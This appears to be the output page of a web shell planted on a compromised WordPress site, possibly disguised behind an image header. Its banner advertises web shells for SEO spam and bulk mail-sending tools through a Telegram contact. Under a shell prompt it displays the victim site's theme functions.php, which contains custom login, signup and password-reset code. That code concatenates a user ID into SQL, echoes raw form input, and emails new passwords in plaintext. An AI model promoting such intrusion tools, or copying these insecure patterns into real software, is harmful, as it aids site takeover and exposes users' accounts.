xNightR00T File Manager

Loading...
Current Directory:
Name Size Permission Modified Actions
Loading...
$ Waiting for command...
����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

ftpuser@216.73.216.168: ~ $
<?php
/**
 * Theme Functions
 *
 * @package Betheme
 * @author Muffin group
 * @link https://muffingroup.com
 */

define('MFN_THEME_VERSION', '21.9.7');

// theme related filters

add_filter('widget_text', 'do_shortcode');
add_filter('show_admin_bar', '__return_false');
add_filter('the_excerpt', 'shortcode_unautop');
add_filter('the_excerpt', 'do_shortcode');

/**
 * White Label
 * IMPORTANT: We recommend the use of Child Theme to change this
 */

defined('WHITE_LABEL') or define('WHITE_LABEL', false);

/**
 * textdomain
 */

load_theme_textdomain('betheme', get_template_directory() . '/languages'); // frontend
load_theme_textdomain('mfn-opts', get_template_directory() . '/languages'); // admin panel

/**
 * theme options
 */

require_once get_theme_file_path('/muffin-options/theme-options.php');

/**
 * theme functions
 */

$theme_disable = mfn_opts_get('theme-disable');

require_once get_theme_file_path('/functions/theme-functions.php');
require_once get_theme_file_path('/functions/theme-head.php');

// menu

require_once get_theme_file_path('/functions/theme-menu.php');
if (!isset($theme_disable['mega-menu'])) {
    require_once get_theme_file_path('/functions/theme-mega-menu.php');

}

// builder

require_once get_theme_file_path('/functions/builder/class-mfn-builder.php');

// post types

$post_types_disable = mfn_opts_get('post-type-disable');

require_once get_theme_file_path('/functions/post-types/class-mfn-post-type.php');

if (!isset($post_types_disable['client'])) {
    require_once get_theme_file_path('/functions/post-types/class-mfn-post-type-client.php');
}
if (!isset($post_types_disable['offer'])) {
    require_once get_theme_file_path('/functions/post-types/class-mfn-post-type-offer.php');
}
if (!isset($post_types_disable['portfolio'])) {
    require_once get_theme_file_path('/functions/post-types/class-mfn-post-type-portfolio.php');
}
if (!isset($post_types_disable['slide'])) {
    require_once get_theme_file_path('/functions/post-types/class-mfn-post-type-slide.php');
}
if (!isset($post_types_disable['testimonial'])) {
    require_once get_theme_file_path('/functions/post-types/class-mfn-post-type-testimonial.php');
}

if (!isset($post_types_disable['layout'])) {
    require_once get_theme_file_path('/functions/post-types/class-mfn-post-type-layout.php');
}
if (!isset($post_types_disable['template'])) {
    require_once get_theme_file_path('/functions/post-types/class-mfn-post-type-template.php');
}

require_once get_theme_file_path('/functions/post-types/class-mfn-post-type-page.php');
require_once get_theme_file_path('/functions/post-types/class-mfn-post-type-post.php');

// includes

require_once get_theme_file_path('/includes/content-post.php');
require_once get_theme_file_path('/includes/content-portfolio.php');

// shortcodes

require_once get_theme_file_path('/functions/theme-shortcodes.php');

// hooks

require_once get_theme_file_path('/functions/theme-hooks.php');

// sidebars

require_once get_theme_file_path('/functions/theme-sidebars.php');

// widgets

require_once get_theme_file_path('/functions/widgets/class-mfn-widgets.php');

// TinyMCE

require_once get_theme_file_path('/functions/tinymce/tinymce.php');

// plugins

require_once get_theme_file_path('/functions/class-mfn-love.php');
require_once get_theme_file_path('/functions/plugins/visual-composer.php');
require_once get_theme_file_path('/functions/plugins/elementor/class-mfn-elementor.php');

// WooCommerce functions

if (function_exists('is_woocommerce')) {
    require_once get_theme_file_path('/functions/theme-woocommerce.php');
}

// dashboard

if (is_admin()) {
    require_once get_theme_file_path('/functions/admin/class-mfn-api.php');
    require_once get_theme_file_path('/functions/admin/class-mfn-helper.php');
    require_once get_theme_file_path('/functions/admin/class-mfn-update.php');

    require_once get_theme_file_path('/functions/admin/class-mfn-dashboard.php');
    $mfn_dashboard = new Mfn_Dashboard();

    if (!isset($theme_disable['demo-data'])) {
        require_once get_theme_file_path('/functions/importer/class-mfn-importer.php');
    }

    require_once get_theme_file_path('/functions/admin/tgm/class-mfn-tgmpa.php');

    if (!mfn_is_hosted()) {
        require_once get_theme_file_path('/functions/admin/class-mfn-status.php');
    }

    require_once get_theme_file_path('/functions/admin/class-mfn-support.php');
    require_once get_theme_file_path('/functions/admin/class-mfn-changelog.php');
}
// //CUSTOME CSS
function enqueue_style_boostrap_grid_wp_head()
{
    wp_enqueue_style('bootstrap_css', '/css/bootstrap5.min.css');
    wp_enqueue_style('boxicons', 'https://unpkg.com/boxicons@2.1.2/css/boxicons.min.css');
    if (is_category()) {
        wp_enqueue_style('category_products_css', get_template_directory_uri() . '/css/category-custom.css');
    }
    wp_enqueue_script('jquery-validate', get_template_directory_uri() . '/js/jquery-validate.min.js', array(), null, true);
    wp_enqueue_script('validate-custom', get_template_directory_uri() . '/js/validate-custom.js', array(), null, true);
	wp_enqueue_script('js-recaptcha', 'https://www.google.com/recaptcha/api.js?render=explicit&onload=onRecaptchaLoadCallback&hl=en', array(), null, true);
    wp_enqueue_script('jquery-validate-plugin', get_template_directory_uri() . '/js/jquery-validate-plugin.js', array(), null, true);
    wp_localize_script('ajax-script', 'my_ajax_object', array('ajax_url' => admin_url('admin-ajax.php')));
}
add_action('wp_enqueue_scripts', 'enqueue_style_boostrap_grid_wp_head');

/**
 * @deprecated 21.0.5
 * Below constants are deprecated and will be removed soon
 * Please check if you use these constants in your Child Theme
 */

define('THEME_DIR', get_template_directory());
define('THEME_URI', get_template_directory_uri());

define('THEME_NAME', 'betheme');
define('THEME_VERSION', MFN_THEME_VERSION);

define('LIBS_DIR', get_template_directory() . '/functions');
define('LIBS_URI', get_template_directory() . '/functions');

function catch_that_image()
{
    global $post, $posts;
    $first_img = '';
    ob_start();
    ob_end_clean();
    $output = preg_match_all('/<img.+src=[\'"]([^\'"]+)[\'"].*>/i', $post->post_content, $matches);
    $first_img = $matches[1][0];

    if (empty($first_img)) { //Defines a default image
        $first_img = "https://vn-gateway.com/wp-content/uploads/2022/01/photo-2-16415386618451138149008.jpg";
    }
    return $first_img;
}

//login
function ajax_login_init()
{
	$current_locale = get_locale();
	wp_register_script('ajax-login-script', get_template_directory_uri() . '/js/ajax-login-script.js', array('jquery'));
	wp_enqueue_script('ajax-login-script');
	session_start();
	$redirecturl = home_url();
	wp_localize_script('ajax-login-script', 'ajax_login_object', array(
		'ajaxurl' => admin_url('admin-ajax.php'),
		'redirecturl' => $redirecturl,
		'current_locale' => $current_locale
	));

	add_action('wp_ajax_nopriv_ajaxlogin', 'ajax_login');
}
if (!is_user_logged_in()) {
	add_action('init', 'ajax_login_init');
}

function ajax_login()
{
	// First check the nonce, if it fails the function will break
	check_ajax_referer('ajax-login-nonce', 'security');
	//Nonce is checked, get the POST data and sign user on
	$info = array();
	$info['user_login']    	= trim(wp_unslash(mb_strtolower($_POST['username'], 'UTF-8')));
	$info['user_password'] 	= trim($_POST['password']);
	$info['remember'] 		= true;
    $ERR_SER_001 = "Email is required.";
    $ERR_SER_002 = "Please enter in email address format.";
    $ERR_SER_003 = "Email must be 255 characters or less.";
    $ERR_SER_004 = "Password is required.";
    $ERR_SER_005 = "Please enter in correct format.";
    $ERR_SER_006 = "Please enter a password between 8 and 20 digits.";
    $ERR_SER_007 = "Incorrect username or password.";
    $SUCCESS_SER_001 = "Successful login, redirecting.";

    if ( get_locale() == 'ja') {
		$ERR_SER_001 = "メールアドレスは必須です。";
		$ERR_SER_002 = "メールアドレスの形式で入力してください。";
		$ERR_SER_003 = "メールアドレスは255文字以下でなければなりません。";
		$ERR_SER_004 = "パスワードは必須です。";
		$ERR_SER_005 = "正しい形式で入力してください。";
		$ERR_SER_006 = "パスワードは8から20文字で入力してください。";
		$ERR_SER_007 = "ユーザー名またはパスワードが正しくありません。";
		$SUCCESS_SER_001 = "ログインに成功しました、リダイレクトしています。";
	}

	if(empty($info['user_login'])) {
		echo json_encode( array( 'loggedin'=>false, 'message'=> $ERR_SER_001 ));
		die();
	}else if(!is_email($info['user_login'])) {
		echo json_encode( array( 'loggedin'=>false, 'message'=> $ERR_SER_002 ));
		die();
	}else if(mb_strlen($info['user_login']) > 255) {
		echo json_encode( array( 'loggedin'=>false, 'message'=> $ERR_SER_003 ));
		die();
	}
	if(empty($info['user_password'])) {
		echo json_encode( array( 'loggedin'=>false, 'message'=> $ERR_SER_004 ));
		die();
	}else if(mb_strlen($info['user_password']) < 8) {
		echo json_encode( array( 'loggedin'=>false, 'message'=> $ERR_SER_006 ));
		die();
	}else if(mb_strlen($info['user_password']) > 20) {
		echo json_encode( array( 'loggedin'=>false, 'message'=> $ERR_SER_006 ));
		die();
	}else if(preg_match('/(?=.*?["{}?,.+=_;:|~`])/', $info['user_password'])) {
		echo json_encode( array( 'loggedin'=>false, 'message'=> $ERR_SER_005 ));
		die();
	}
	$user = get_user_by( 'email', $info['user_login'] );

	if ( empty($user) || $user->roles[0] == "administrator") {
		echo json_encode(array('loggedin'=>false, 'message'=>__($ERR_SER_007 )));
		die();
	}

	global $wpdb;
	$table_name = $wpdb->prefix . 'user_approve';
	$sql = "SELECT flag_approve FROM $table_name WHERE user_id = " . $user->ID;
	$flag_approve = $wpdb->get_results($sql);

	if ( empty($flag_approve) || $flag_approve[0]->flag_approve != 1) {
		echo json_encode( array( 'loggedin'=>false, 'message'=>__( $ERR_SER_007 )));
		die();
	}

    if($user->roles[0] == "subscriber") {
		$user_signon = wp_signon( $info, false );
		if ( is_wp_error( $user_signon )) {
			echo json_encode( array( 'loggedin'=>false, 'message'=>__( $ERR_SER_007 )));
			die();
		} else {
			echo json_encode(array('loggedin' => true, 'message' => __($SUCCESS_SER_001)));
			die();
		}
	}
	die();
}

$wp_user_query = new WP_User_Query(array('role' => 'Subscriber'));
$users = $wp_user_query->get_results();
if (!empty($users)) {
    foreach ($users as $user)
    {
        update_user_option( $user->ID, 'show_admin_bar_front', 'false');
    }
}

function ajax_signup_init() {

	wp_register_script( 'ajax-signup-script', get_template_directory_uri() . '/js/ajax-signup-script.js', array('jquery') );
	wp_enqueue_script( 'ajax-signup-script' );

	wp_localize_script( 'ajax-signup-script', 'ajax_signup_object', array(
		'ajaxurl' => admin_url( 'admin-ajax.php' ),
	));

	// Enable the user with no privileges to run ajax_signup() in AJAX
	add_action( 'wp_ajax_nopriv_signup_user', 'ajax_signup_user' );
}

if (!is_user_logged_in()) {
	add_action('init', 'ajax_signup_init');
}

// signup user
function ajax_signup_user() {
	$data = array();
	$data['name']   		= trim($_POST['name']);
	$data['first_name']   	= trim($_POST['first_name']);
	$data['last_name']   	= trim($_POST['last_name']);
	$data['email'] 			= trim(mb_strtolower($_POST['email'], 'UTF-8'));
	$data['company'] 		= trim($_POST['company']);
	$data['department'] 	= trim($_POST['department']);
	$data['industry'] 		= trim($_POST['industry']);
	$data['position'] 		= trim($_POST['position']);
	$data['password'] 		= trim($_POST['password']);

	$ERR_SER_001 = "Full name is required.";
    $ERR_SER_002 = "Please enter a full name within 100 characters.";
	$ERR_SER_003 = "First Name is required.";
	$ERR_SER_004 = "Please enter a first name within 100 characters.";
	$ERR_SER_006 = "Please enter a last name within 100 characters.";
	$ERR_SER_007 = "Last name is required.";
    $ERR_SER_008 = "Company Name is required.";
    $ERR_SER_009 = "Please enter a company name within 100 characters.";
    $ERR_SER_0010 = "Department is required.";
    $ERR_SER_0011 = "Email is required.";
    $ERR_SER_0012 = "Please enter in email address format.";
    $ERR_SER_0013 = "Email must be 100 characters or less.";
    $ERR_SER_0015 = "Password is required.";
    $ERR_SER_0016 = "Please enter a password with at least 8 characters.";
    $ERR_SER_0017 = "Please enter a password no longer than 20 characters.";
    $ERR_SER_0018 = "Please enter in correct format.";
    $ERR_SER_0019 = "Failed to update profile. Please check your information again.";
	$ERR_COM_0021 = "Registered account.";
	$ERR_SER_0022 = "Industry is required.";
	$ERR_SER_0023 = "Position is required.";
    $SUCCESS_SER_001 = "Successfully create user.";

	if ( get_locale() == 'ja') {
		$ERR_SER_001 = "フルネームは必須です。";
		$ERR_SER_002 = "フルネームを100文字以内で入力してください。";
		$ERR_SER_003 = "名前は必須です。";
		$ERR_SER_004 = "名前を100文字以内で入力してください。";
		$ERR_SER_006 = "名字を100文字以内で入力してください。";
		$ERR_SER_007 = "名字は必須です。";
		$ERR_SER_008 = "会社名は必須です。";
		$ERR_SER_009 = "会社名を100文字以内で入力してください。";
		$ERR_SER_0010 = "部署は必須です。";
		$ERR_SER_0011 = "メールアドレスは必須です。";
		$ERR_SER_0012 = "正しいメールアドレスの形式で入力してください。";
		$ERR_SER_0013 = "メールアドレスは100文字以下で入力してください。";
		$ERR_SER_0015 = "パスワードは必須です。";
		$ERR_SER_0016 = "パスワードは少なくとも8文字で入力してください。";
		$ERR_SER_0017 = "パスワードは20文字以内で入力してください。";
		$ERR_SER_0018 = "正しい形式で入力してください。";
		$ERR_SER_0019 = "プロフィールの更新に失敗しました。情報を再度確認してください。";
		$ERR_COM_0021 = "既に登録されたアカウントです。";
		$ERR_SER_0022 = "業種は必須です。";
		$ERR_SER_0023 = "職位は必須です。";
		$SUCCESS_SER_001 = "ユーザーの作成に成功しました。";

	}

	// validate
	if(empty($data['name'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_001 ));
		die();
	}else if(mb_strlen($data['name']) > 100 || mb_strlen($data['name']) > 100) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_002 ));
		die();
	}

	if(empty($data['first_name'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_003 ));
		die();
	}else if(mb_strlen($data['first_name']) > 100 || mb_strlen($data['first_name']) > 100) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_004 ));
		die();
	}

	if(empty($data['last_name'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_007 ));
		die();
	}else if(mb_strlen($data['last_name']) > 100 || mb_strlen($data['last_name']) > 100) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_006 ));
		die();
	}

	if(empty($data['company'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_008 ));
		die();
	}else if(mb_strlen($data['company']) > 100 || mb_strlen($data['company']) > 100) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_009 ));
		die();
	}


	if(empty($data['department'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_0010 ));
		die();
	}

	if(empty($data['industry'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_0022 ));
		die();
	}

	if(empty($data['position'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_0023 ));
		die();
	}

	if(empty($data['email'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_0011 ));
		die();
	}else if(!is_email($data['email'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_0012 ));
		die();
	}else if(mb_strlen($data['email']) > 100) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_0013 ));
		die();
	} else if (email_exists($data['email'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_COM_0021 ));
		die();
	}

	if(empty($data['password'])) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_0015 ));
		die();
	}else if(mb_strlen($data['password']) < 8) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_0016 ));
		die();
	}else if(mb_strlen($data['password']) > 20) {
		echo json_encode( array( 'registered'=>false, 'message'=> $ERR_SER_0017 ));
		die();
	}else if(preg_match('/(?=.*?["{},.+=?_;:|~`])/', $data['password'])) {
		echo json_encode( array( 'loggedin'=>false, 'message'=> $ERR_SER_0018 ));
		die();
	}
	
	$data_create = array(
		'user_login' => $data['email'],
        'nickname' => $data['name'],
		'first_name' => $data['first_name'],
		'last_name' => $data['last_name'],
		'user_email' => $data['email'],
		'user_registered' => date_i18n('Y-m-d H:i:s'),
        'role' => 'subscriber',
		'user_pass' => $data['password'],
        'phone' => $data['phone'],
        'address' => $data['address'],
		'admin_bar_front' => ''
	);

	$user_id = wp_insert_user( $data_create ) ; 
	if ( ! is_wp_error( $user_id ) ) {
		update_user_option( $user_id, 'show_admin_bar_front', 'false');

		global $wpdb;
		$table_name = $wpdb->prefix . 'user_approve';
		$data_to_insert = array(
			'user_id' => $user_id,
			'company' => $data["company"],
			'department' => $data["department"],
			'industry' => $data["industry"],
			'position' => $data["position"],
			'flag_approve' => 0,
			'created_at' => date('Y-m-d H:i:s')
		);

		$wpdb->insert($table_name, $data_to_insert);

		echo json_encode( array( 'registered'=>true, 'message'=>__($SUCCESS_SER_001)));
	} else {
		echo json_encode( array( 'registered'=>false, 'message'=>__($ERR_SER_0019)));
	}
	
	die();
}

//forgot password
function wc_forgot_pwd_form_callback() {
	ob_start();
	global $getEmailError, $getEmailSuccess;
	$txtSubmit = "Confirm ";
    $txtEmail = "Email ";
	$txtEmailPlaceHolder ="Enter your email address";
	if ( get_locale() == 'ja') {
        $txtSubmit = "確認する";
        $txtEmail = "メール ";
		$txtEmailPlaceHolder = "メールアドレスを入力してください";
	}
	if (!empty($getEmailError) && $getEmailError['local'] == false) {
	?>
		<div class="alert alert-danger" style="color: red;">
			<?php echo $getEmailError['message']; ?>
		</div>
	<?php } ?>
	<?php if (!empty($getEmailSuccess)) { ?>
		<br />
		<div class="alert alert-success">
			<?php echo $getEmailSuccess; ?>
			<?php 
				echo "<script type='text/javascript'>
							setTimeout(function(){
								document.location.href='/sign-in';
							},1000)
					</script>";
			?>
		</div>
	<?php } ?>
	<form method="post" id="forgot_form" class="wc-forgot-pwd-form">
		<div class="forgot_pwd_form">
			<div class="log_user form">
				<div class="field input-field m-0">
					<label for="user_login" class="c-text-body-2-medium"><?php echo $txtEmail; ?><span class="req">*</span></label>
					<?php $user_login = isset($_POST['user_login']) ? $_POST['user_login'] : ''; ?>
					<input maxlength="255" onchange="$(this).val($.trim($(this).val().toLowerCase()))" class="c-input
						<?php if (!empty($getEmailError) && $getEmailError['local'] == true)
						echo "c-input-error"?>" type="text" name="user_login" id="user_login"  placeholder="<?php echo $txtEmailPlaceHolder; ?>"
						value="<?php echo $user_login; ?>"
					/>
					<?php
						if (!empty($getEmailError) && $getEmailError['local'] == true) {?>
							<label class="c-text-error status"> <?php echo $getEmailError['message']; ?> </label>
					<?php } ?>
				</div>
				<div class="field button-field">
					<button type="submit" class="c-btn c-btn-primary"><?php echo $txtSubmit; ?></button>
				</div>
				<div class="field button-field hidden">
				<?php
					ob_start();
					do_action('lostpassword_form');
					echo ob_get_clean();
					wp_nonce_field('userGetPassword', 'formType');
				?>

				</div>
			</div>
		</div>
	</form>
	<?php

	$forgot_pwd_form = ob_get_clean();
	return $forgot_pwd_form;
}


function wc_user_forgot_pwd_callback()
{
	if (isset($_POST['formType']) && wp_verify_nonce($_POST['formType'], 'userGetPassword')) {
		global $getEmailError, $getEmailSuccess;
		$email = trim(mb_strtolower($_POST['user_login'], 'UTF-8'));
		
        $ERR_SER_0012 = "Please enter in email address format.";
        $ERR_SER_0025 = "Email address is required.";
        $ERR_SER_0026 = "This field cannot exceed 255 characters";
        $ERR_SER_0027 = "This email address is not registered.";
        $ERR_SER_0028 = "Something went wrong.";
        $SUCCESS_SER_004 = "Check email address for new password.";
		 
		if ( get_locale() == 'ja') {
			$ERR_SER_0012 = "メールアドレスの形式で入力してください。";
			$ERR_SER_0025 = "メールアドレスは必須です。";
			$ERR_SER_0026 = "このフィールドは255文字を超えることはできません。";
			$ERR_SER_0027 = "このメールアドレスは登録されていません。";
			$ERR_SER_0028 = "何かがうまくいきませんでした。";
			$SUCCESS_SER_004 = "新しいパスワードを受け取るためにメールアドレスを確認してください。";
		}

		if (empty($email)) {
			$getEmailError = [
				"local" => true,
				"message" => $ERR_SER_0025,
			];
		} else if (mb_strlen($email) > 255) {
			$getEmailError = [
				"local" => true,
				"message" => $ERR_SER_0026,
			];
		} else if (!is_email($email)) {
			$getEmailError = [
				"local" => true,
				"message" => $ERR_SER_0012,
			];
		} else if (!email_exists($email)) {
			$getEmailError = [
				"local" => false,
				"message" => $ERR_SER_0027,
			];
		} else {
			$random_password = wp_generate_password(12, true, false);
			$user = get_user_by('email', $email);
			$update_user = wp_update_user(
				array(
					'ID' => $user->ID,
					'user_pass' => $random_password
				)
			);

			if ($update_user) {
				$to = $email;
				$subject = 'Your new password';
				$message = 'Your new password is: ' . $random_password;
				$headers = array('Content-Type: text/html; charset=UTF-8');
				$mail = wp_mail($to, $subject, $message, $headers);
				error_log($mail);
				if ($mail) {
					$getEmailSuccess = $SUCCESS_SER_004;
				}
			} else {
				$getEmailError = [
					"local" => false,
					"message" => $ERR_SER_0028
				];
			}
		}
	}
}

add_action('wp', 'wc_user_forgot_pwd_callback');
add_action('template_redirect', function () {
    if (is_admin()) return;
    if ($_SERVER['REQUEST_URI'] === '/' || $_SERVER['REQUEST_URI'] === '') {
        wp_redirect(home_url('/ja/'), 302);
        exit;
    }
});

add_shortcode('wc_forgot_pwd_form', 'wc_forgot_pwd_form_callback');

//change password
function change_password_form() {
	// Parse shortcode attributes
	$txtOldPassword = 'Current password';
	$txtOldPasswordPlaceHolder = 'Enter your current password';
	$txtNewPassword = 'New password';
	$txtNewPasswordPlaceHolder = 'Enter your new password';
	$txtRePassword = 'Confirm new password';
	$txtRePasswordPlaceHolder = 'Re-enter your new password';
	$txtSubmit = 'Change password';

	if ( get_locale() == 'ja') {
		$txtOldPassword = '現在のパスワード';
		$txtOldPasswordPlaceHolder = '現在のパスワードを入力してください';
		$txtNewPassword = '新しいパスワード';
		$txtNewPasswordPlaceHolder = '新しいパスワードを入力してください';
		$txtRePassword = '新しいパスワードを確認します';
		$txtRePasswordPlaceHolder = '新しいパスワードを再入力してください';
		$txtSubmit = 'パスワードを変更する';
	}
	if (is_user_logged_in()) { ?>
		<div id="password-reset-form form" class="widecolumn">
			<form name="resetpassform" id="resetpassform" action="" method="post">
				<div class="mb-20">
					<p class="alert-success"></p>
					<p class="status"></p>
				</div>
				<div class="mb-20 position-relative field input-field">
					<label for="old_password" class="form-label"><?php echo $txtOldPassword ?><span class="req"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">*</font></font></span></label>
					<?php $old_password = isset($_POST['old_password']) ? $_POST['old_password'] : ''; ?>
					<input maxlength="20" type="password" name="old_password" id="old_password" class="form-control" size="20" value="<?php echo $old_password ?>" placeholder="<?php echo $txtOldPasswordPlaceHolder; ?>" />
					<i class='bx bx-hide eye-icon' onclick="toggleOldPassword(event)" id="togglePassword"></i>
				</div>
				<div class="mb-20 position-relative field input-field">
					<label for="password" class="form-label"><?php echo $txtNewPassword ?><span class="req"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">*</font></font></span></label>
					<?php $password = isset($_POST['password']) ? $_POST['password'] : ''; ?>
					<input maxlength="20" type="password" name="password" id="password" class="form-control" size="20" value="<?php echo $password ?>" placeholder="<?php echo $txtNewPasswordPlaceHolder; ?>" />
					<i class='bx bx-hide eye-icon' onclick="togglePassword(event)" id="togglePassword"></i>
				</div>
				<div class="mb-20 position-relative field input-field m-0">
					<label for="re_password" class="form-label"><?php echo $txtRePassword ?><span class="req"><font style="vertical-align: inherit;"><font style="vertical-align: inherit;">*</font></font></span></label>
					<?php $re_password = isset($_POST['re_password']) ? $_POST['re_password'] : ''; ?>
					<input maxlength="20" type="password" name="re_password" id="re_password" class="form-control" size="20" value="<?php echo $re_password ?>" placeholder="<?php echo $txtRePasswordPlaceHolder; ?>" />
					<i class='bx bx-hide eye-icon' onclick="toggleRePassword(event)" id="togglePassword"></i>
				</div>
				<div class="mb-20 position-relative field input-field m-0 ">
					<div id="inline-badge"></div>
				</div>
				<!-- <p class="description"><?php echo wp_get_password_hint(); ?></p> -->

				<div class="field button-field">
					<button type="submit" name="submit" id="resetpass-button" class="btn btn-submit" ><?php echo $txtSubmit; ?></button>
				</div>
			</form>
		</div>
	<?php
	} else {
		wp_redirect(home_url());
	}
}

function ajax_reset_pass_init() {

	wp_register_script( 'ajax-reset-pass-script', get_template_directory_uri() . '/js/ajax-reset-pass-script.js', array('jquery') );
	wp_enqueue_script( 'ajax-reset-pass-script' );

	wp_localize_script( 'ajax-reset-pass-script', 'ajax_reset_pass_object', array(
		'ajaxurl' => admin_url( 'admin-ajax.php' ),
		'url_reload' => '',
	));

	// Enable the user with no privileges to run ajax_profile() in AJAX
	add_action( 'wp_ajax_update_password', 'ajax_update_password' );
	// add_action( 'wp_ajax_nopriv_update_profile', 'ajax_update_profile' );
}

if (is_user_logged_in()) {
	add_action('init', 'ajax_reset_pass_init');
}

function ajax_update_password()
{
	$_POST = array_map('stripslashes_deep', $_POST);
	$old_password = sanitize_text_field(trim($_POST['old_password']));
	$new_password = sanitize_text_field(trim($_POST['password']));
	$re_password = sanitize_text_field(trim($_POST['re_password']));

	$ERR_SER_0015 = "Password is required.";
	$ERR_SER_0018 = "Please enter in correct format.";
	$ERR_SER_0020 = "Something went wrong";
	$ERR_SER_0021 = "Current password is incorrect.";
	$ERR_SER_0022 = "Please enter a password between 8 and 20 digits.";
	$ERR_SER_0023 = "Passwords do not match.";
	$SUCCESS_SER_002 = "Your password has been changed.";

	if ( get_locale() == 'ja') {
		$ERR_SER_0015 = "パスワードは必須です。";
		$ERR_SER_0018 = "正しい形式で入力してください。";
		$ERR_SER_0020 = "何かがうまくいきませんでした。";
		$ERR_SER_0021 = "現在のパスワードが正しくありません。";
		$ERR_SER_0022 = "パスワードは8から20文字で入力してください。";
		$ERR_SER_0023 = "パスワードが一致しません。";
		$SUCCESS_SER_002 = "パスワードが変更されました。";
	}

	if(empty($old_password) || empty($new_password) || empty($re_password)) {
		echo json_encode( array( 'profiled'=>false, 'message'=> $ERR_SER_0015 ));
		die();
	}else if( (mb_strlen($new_password) < 8) || (mb_strlen($re_password) < 8)) {
		echo json_encode( array( 'profiled'=>false, 'message'=> $ERR_SER_0022 ));
		die();
	}else if( (mb_strlen($new_password) > 20) || (mb_strlen($re_password) > 20)) {
		echo json_encode( array( 'profiled'=>false, 'message'=> $ERR_SER_0022 ));
		die();
	}else if($new_password != $re_password) {
		echo json_encode( array( 'profiled'=>false, 'message'=> $ERR_SER_0023 ));
		die();
	}else if(preg_match('/(?=.*?["{},.+=?_;:|~`])/', $old_password) || preg_match('/(?=.*?["{},.+=?_;:|~`])/', $new_password) || preg_match('/(?=.*?["{}?,.+=_;:|~`])/', $re_password)) {
		echo json_encode( array( 'profiled'=>false, 'message'=> $ERR_SER_0018 ));
		die();
	}

	$user_id = get_current_user_id();
	$current_user = get_user_by('id', $user_id);

	// Check for errors
	if (!wp_check_password( $old_password, $current_user->data->user_pass, $current_user->ID )) {
		echo json_encode( array( 'profiled'=>false, 'message'=> $ERR_SER_0021 ));
		die();
	}
	$update_pass = wp_set_password($new_password, $current_user->ID);
	if(!is_wp_error($update_pass)) {
		echo json_encode( array( 'profiled'=>true, 'message'=> $SUCCESS_SER_002 ));
		die();
	}else {
		echo json_encode( array( 'profiled'=>false, 'message'=> $ERR_SER_0020 ));
		die();
	}
}

add_shortcode('changepassword_form', 'change_password_form');

require_once( ABSPATH . 'wp-admin/includes/class-wp-list-table.php' );

// Kiểm tra và tạo bảng user_approve
function create_user_approve_table() {
    global $wpdb;
    $table_name = $wpdb->prefix . 'user_approve';

    $sql = "SHOW TABLES LIKE '$table_name'";
    $table_exists = $wpdb->get_var($sql);

    if ($table_exists != $table_name) {
        $create_table_sql = "CREATE TABLE $table_name (
			id int(11) NOT NULL AUTO_INCREMENT,
			user_id int(11) NOT NULL,
			company varchar(255),
			department varchar(255),
			industry varchar(255),
			position varchar(255),
			flag_approve int(11) NOT NULL,
			created_at datetime,
			updated_at datetime,
			PRIMARY KEY (id)
        )";

        require_once(ABSPATH . 'wp-admin/includes/upgrade.php');
        dbDelta($create_table_sql);
    }
}
add_action('after_setup_theme', 'create_user_approve_table');

// Tạo một lớp con từ WP_List_Table
class User_List_Table extends WP_List_Table {
    // Định nghĩa các cột của bảng
	function get_columns() {
		if ( get_locale() == 'ja') {
			return array(
				'username' => 'ユーザー名',
				'email' => 'メールアドレス',
				'company' => '会社名',
				'department' => "所属部署",
				'industry' => "業種",
				'position' => "役職",
				'flag_approve' => '承認状況',
				'actions' => '操作'
			);
		}
		return array(
			'username' => 'User Name',
			'email' => 'Email',
			'company' => 'Company',
			'department' => "Department",
			'industry' => "Industry",
			'position' => "Position",
			'flag_approve' => 'Approval Status',
			'actions' => 'Actions'
		);
	}

    // Lấy dữ liệu người dùng với tìm kiếm
	function prepare_items() {
		global $wpdb;
		$per_page = 10;
		$table_name = $wpdb->prefix . 'user_approve';
		$total_items = $wpdb->get_var("SELECT COUNT(*) FROM $table_name WHERE flag_approve IS NOT NULL");
		$total_pages = ceil($total_items / $per_page);
		$current_page = $this->get_pagenum();
		$offset = ($current_page - 1) * $per_page;
    $limit = $per_page;

		$sql = "SELECT * FROM $table_name WHERE flag_approve IS NOT NULL LIMIT $offset, $limit";
		$data = array();
		$users = $wpdb->get_results($sql);

		foreach ($users as $user) {
			$user_data = get_userdata($user->user_id);
			$data[] = array(
				'id' => $user_data->ID ?? null,
				'username' => $user_data->display_name ?? null,
				'email' => $user_data->user_email ?? null,
				'company' => $user->company ?? null,
				'department' => $user->department ?? null,
				'industry' => $user->industry ?? null,
